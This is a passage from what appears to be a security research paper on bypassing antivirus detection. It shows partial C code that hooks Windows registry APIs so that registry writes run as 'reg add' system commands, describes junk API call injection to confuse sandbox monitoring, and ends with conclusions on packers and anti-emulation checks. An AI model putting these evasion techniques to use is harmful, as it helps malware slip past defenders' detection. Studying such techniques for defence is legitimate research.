    rrs->lpKeyName = lpSubKey; 

    return Real_RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, 

phkResult); 

} 

src21: monitoring access keys and HKEY handles 

Once a call to the function in charge of setting the new key is triggered, the different parameters 

are used to create the final command to be executed: 

HANDLE WINAPI My_RegSetValueExW(HKEY hKey, 

          LPCTSTR lpValueName, 

          DWORD Reserved, 

          DWORD dwType, 

          const BYTE *lpData, 

          DWORD cbData) 

{ 

    char lcCommand[256]; 

    char clClass[16]; 

    char clType[16]; 

    if(*(rrs->hRegKeyRes) == hKey){ 

 

     if(rrs->hRegKey == HKEY_CLASSES_ROOT) 

      sprintf_s(clClass, "%s", "HKCR"); 

     else if(rrs->hRegKey == HKEY_CURRENT_USER) 

      sprintf_s(clClass, "%s", "HKCU"); 

     else if(rrs->hRegKey == HKEY_LOCAL_MACHINE) 

      sprintf_s(clClass, "%s", "HKCM"); 

     else{ 

      return Real_RegSetValueExW(hKey, lpValueName, Reserved, dwType, 

lpData, cbData); 

     } 

     if(dwType == REG_NONE) 

     { 

      sprintf_s(clType, "%s", "REG_NONE"); 

     } 

     else if(dwType == REG_SZ) 

     { 

      sprintf_s(clType, "%s", "REG_SZ"); 

     } 

     else if(dwType == REG_EXPAND_SZ) 

     { 

      sprintf_s(clType, "%s", "REG_EXPAND_SZ"); 

     } 

   ..[SNIP].. 

 

     sprintf_s(lcCommand, "reg add %s\\%ws /v \"%ws\" /t %s /d \"%ws\" /f", 

clClass, rrs->lpKeyName, lpValueName, clType, lpData); 

     system(lcCommand); 
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           free(rrs); 

 

     return ERROR_SUCCESS; 

 

    } 

    else 

    { 

             free(rrs); 

     return Real_RegSetValueExW(hKey, lpValueName, Reserved, dwType, 

lpData, cbData); 

    } 

} 

src22: RegSetValue translation to system command 

3.3.3. API junk injection 

Antivirus and some Sandbox product use information collected from API calls succession with 

certain parameters to identify actions known to be used by malware developers or malicious 

applications, like DLL injection, Process Hollowing or techniques used to dump passwords and 

hashes by intrusively modifying system processors. 

To make identification of these actions more difficult, API junk injection, as the name already 

states, inject junk API calls that have no impact on the control flow of the application, but alters 

the expected succession of the APIs. 

To perform this modification, a list of API is monitored through Inline hooking, in order to trigger 

a call to several useless APIs. The list of important functions to monitor was based on the 

Cuckoo Sandbox monitoring list. The disadvantage however of this technique is the 

performance impact due the multiplication of every API call by the number of junk calls injected. 

4. Conclusion 

During this research, the various detection techniques of current popular Antivirus solutions 

were examined (Static-based, Emulation-based and Runtime-based); New bypass techniques 

were developed and empirically verified with regard to their effectiveness.   

Two new methods of packing executables were developed, one of which turned out to be very 

efficient in evading all current Antivirus products without the use of emulation, which is the 

‘Resource packer’. A myriad of anti-emulation checks were implemented and tested 

demonstrating the capacity to bypass all the existing engines, while also demonstrating the 

robustness and efficiency of this protection measure in detecting new and evolving threats. 

Venues on bypassing Runtime-based detection were explored, but still require further testing to 

evaluate their effectiveness, which is also probably more adapted for sandbox-based analysis 

than for Antivirus solutions, as these solutions can spend more resources on detection 

techniques. 
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The introduction of cloud based scanning using dedicated analysis resource, leveraging 

advanced approach to analyzing malware, like machine learning and the spring of new products 

using a sandbox-based approach, represent a promising advancement to a better detection of 

unknown new threats and known evolving ones. 

It is however clear that for the moment, a bullet proof Antivirus solution is still yet to come 

despite the significant advances that some of these solutions have made. The very high number 

of new threats appearing each day and the ease with which a PE file can be modified makes a 

Static-based approach un-adapted and outdated for current threats. Emulation-based detection 

techniques are a very powerful approach, but have to deal with performance and complexity 

issues in order to create a completely undetectable environment, and this without going 

philosophical and mentioning the Schrödinger cat and how an action of testing or measure will 

undoubtedly change it, making it always detectable.  

Some Antiviruses did however came a long way and are undoubtedly an important layer of 

protection in the security landscape of any environment, they are however not sufficient nor will 

they ever be. 
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